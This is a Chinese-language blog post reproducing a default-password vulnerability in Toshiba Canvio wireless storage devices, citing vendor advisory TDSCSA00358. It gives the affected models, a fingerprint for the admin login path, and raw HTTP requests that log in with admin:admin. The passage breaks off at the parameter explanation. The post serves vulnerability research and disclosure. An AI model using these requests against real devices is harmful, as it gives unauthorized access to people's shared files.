东芝Toshiba Canvio无线存储产品默认口令漏洞复现

Wayyt 5小时前

东芝Toshiba Canvio无线存储产品默认口令漏洞复现

0x00 漏洞概述

CANVIO（STOR.E）系列是东芝（Toshiba）面向个人与小型办公场景推出的无线存储产品，包括 Canvio AeroCast 无线移动硬盘以及多款无线适配器，设备内置 Web 管理界面用于配置与文件管理。东芝官方于 2018 年 2 月 28 日发布安全公告 TDSCSA00358，确认该系列无线产品存在默认口令问题：Canvio AeroCast（型号 HDTU110\*KWC1）出厂即设置了默认管理员口令，而无线适配器类产品（型号 HDWW100\*KW\*1）出厂口令为空。安全研究者验证发现，使用默认凭据 admin:admin 即可直接登录设备 Web 管理界面并完全控制设备。官方公告同时提示：即便用户日后修改了口令，执行设备复位或勾选固件升级后恢复出厂设置再升级固件，口令仍会被重置回默认值，风险具有持续性。

0x01 影响范围

依据东芝官方公告 TDSCSA00358，受影响产品与型号如下：

Canvio AeroCast / Canvio AeroCast wireless HDD，型号 HDTU110\*KWC1（出厂默认口令）；
Canvio Wireless Adapter / STOR.E Wireless Adapter / Canvio CAST Wireless Adapter，型号 HDWW100\*KW\*1（出厂默认口令为空，口令功能未启用）。

威胁定性：处于设备无线通信范围内的攻击者，若知晓默认口令，可在无限制条件下访问产品上的整个共享文件系统；对无线适配器类产品，攻击者甚至无需口令即可访问。设备 Web 管理入口特征为路径 /sconfig/cgi/hook_login.php，页面源码含 Canvio 标识。

0x02 漏洞分析

该漏洞本质是设备出厂安全配置缺陷，而非代码层面的注入或逻辑错误。Web 管理界面（sconfig CGI 模块）在设备首次交付时即处于「默认口令」或「空口令」状态，且管理界面未强制用户在首次登录时修改口令（推断）。

研究者对登录流程进行梳理后发现，该登录页并非简单的用户名/密码表单：首页 HTML 中以 ja vasc ript 变量内嵌了会话参数，包括 var s = '...'（会话值）、var p = '...'（页面标识）以及 postParam.aCtIoN = '...'（动作名）。登录请求必须携带这三个从前置页面提取的参数，再附上用户名与口令字段提交至 /sconfig/cgi/hook_login.php。值得注意的是，用户名与口令字段名采用大小写混写形式（UsErNaMe、PaSsWoRD），这是设备端 CGI 的实际接收形式。由于服务端未对默认凭据做任何阻断或强制改密，admin:admin 这组凭据在出厂状态下始终有效，攻击者按正常登录流程提交即可登录成功。

0x03 利用链与请求包

完整利用链分三步：请求登录首页并提取会话参数、再次请求首页、使用默认凭据提交登录。以下请求包以研究者本地受控测试环境为例，Host 使用示意地址。

第一步，获取登录前置参数：

GET / HTTP/1.1
Host: 192.0.2.10

从响应体中提取三个值：var s = '...' 得到会话值，var p = '...' 得到页面标识，postParam.aCtIoN = '...' 得到动作名。

第二步，再次请求首页（不跟随跳转）：

GET / HTTP/1.1
Host: 192.0.2.10

第三步，携带默认凭据提交登录：

POST /sconfig/cgi/hook_login.php HTTP/1.1
Host: 192.0.2.10
Content-Type: application/x-www-form-urlencoded

rn=6587864667441841&session={会话值}&pageid={页面标识}&aCtIoN={动作名}&UsErNaMe=admin&PaSsWoRD=admin

参数说明：